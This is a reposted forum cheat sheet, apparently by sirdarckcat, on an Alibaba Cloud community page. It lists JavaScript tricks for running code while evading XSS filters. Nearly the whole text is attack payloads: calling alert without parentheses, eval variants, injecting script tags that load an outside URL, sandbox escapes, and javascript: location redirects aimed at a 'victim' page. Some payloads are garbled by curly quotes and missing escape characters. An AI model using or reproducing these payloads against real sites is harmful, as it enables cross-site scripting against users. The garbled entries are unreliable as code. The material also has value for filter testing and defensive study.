javascript中一些另類的用法

來源:互聯網
上載者:User

/*
* I will be updating this thread when I have time with the replies.. any mods fell free to help.
*/

//Direct execution

Quote

window["alert"](1);//this["alert"],self["alert"],etc.. see references to window

Quote

self[<>alert</>](1);//JS1.6+

Quote

self[<><![CDATA[alert]]></>](1);

Quote

top/**/[x61x6cx65x72x74]/**/(1);

Quote

u0061lert(1),alertu000a(1);

Quote

(ä=#1={}&&alert)(ä);//ff only

Quote

alert.valueOf().call(self,1);

Quote

[alert.valueOf()][0].valueOf()(1);

Quote

{x/*@cc_on=alert@*/}x/*@(/xss/@*/); // ie only

Quote

({__noSuchMethod__:Function}).aaaaa$$$$$$$$$dddddddfffffff_____(“alert(1)”)()//ff only

Quote

//ff only
location.__noSuchMethod__=location.replace;location["javascript:alert(1)"]();
window.__noSuchMethod__=setTimeout;window["alert(2)"]();

Quote

“”+{toString:alert}//code execution with no [=()], doesnt work on FF with native functions

Quote

1*({valueOf:alert})//code execution with no [=()], doesnt work on FF with native functions

Quote

a setter=alert;a=”hello”;// function execution without [()] ff only

//Evaluate code

Quote

eval(“alert(1)”);

Quote

setTimeout(“alert(1)”);

Quote

setInterval(“alert(1)”);//lots of alerts..

Quote

Function(“alert(1)”)();

Quote

self[(typeof prompt).replace(/^./,String.toUpperCase)](“alert(1)”)();

Quote

[].constructor.constructor(‘alert(1)’)();

Quote

execScript(“alert(1)”);//IE only

Quote

window[<>eval</>](name);//JS1.6+

Quote

‘alert(“xss”)’.replace(/.*/g,eval)

//Generate/add script tags

Quote

with(document)body.previousSibling.appendChild(createElement(‘script’)).src=’URL’

Quote

with(document)querySelector(‘head’).appendChild(createElement(‘script’)).src=’URL’

Quote

with(a=<script />)a.@src=’URL’,a.toXMLString();//FF only, generates the string only (doesn’t execute)

Quote

with(document)body.previousSibling.appendChild(createElementNS(‘http://www.w3.org/1999/xhtml’,html:script’)).src=’URL’

//Virtual DOM (execution before appendChild, for escaping sandboxes)

Quote

//IE only
document.createElement(“html”).appendChild(document.createElement(“script”)).text=”alert(‘ie sucks’)”;
ddocument.createElement(“html”).appendChild(document.createElement(“script”)).setAttribute(‘src’,//0x.lv’);

Quote

//WebKit only (Chrome/Safari)
document.createElementNS(“http://www.w3.org/1999/xhtml”,”html”).innerHTML=’<html:head><meta http-equiv=”Refresh” content=”0;URL=javascript:alert(/HACKED/);”></html:head>’;

Quote

//FF only
document.createElement(“pre”).innerHTML=”<img onerror=’alert(1)’ src=’./>”;
with(new Image)setAttribute(‘onerror’,alert(1)’),src=’.;
with(document.createElement(“img”))setAttribute(‘onerror’,alert(1)’),setAttribute(‘src’,’.’);
new Option().innerHTML=”<img src=’.’ onerror=alert(1)>”;//tip: [new Option][0][name]=location.hash // name=innerHTML location.hash=<img src…

Quote

// Opera only
new Image().src=”javascript:alert(1234)”;
document.createElement(‘img’).src=”javascript:alert(1234)”;

//Location

Quote

location=’javascript:alert(1)’;

Quote

location.assign(‘javascript:alert(1)’);

Quote

location.replace(‘javascript:alert(1)’);

Quote

// supossing the url is http://victim/asdf/#%0aalert(1) (ie only)
location.protocol=’javascript’;

Quote

document.URL=’javascript:alert(1)’;//ie

Quote

location=Namespace(‘javascript:x61lert(1)’).uri//ff

Quote

frameElement.src=’javascript:alert(1)’;/*requires to be framed in same origin (frame a page with a frame and do frames[0].frames[0].location=”xss victim”)*/

//Etc..

Quote

<meta http-equiv=refresh content=,url=xss.swf>

Quote

document.styleSheets(0).cssText=name;//IE only

——————————–
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.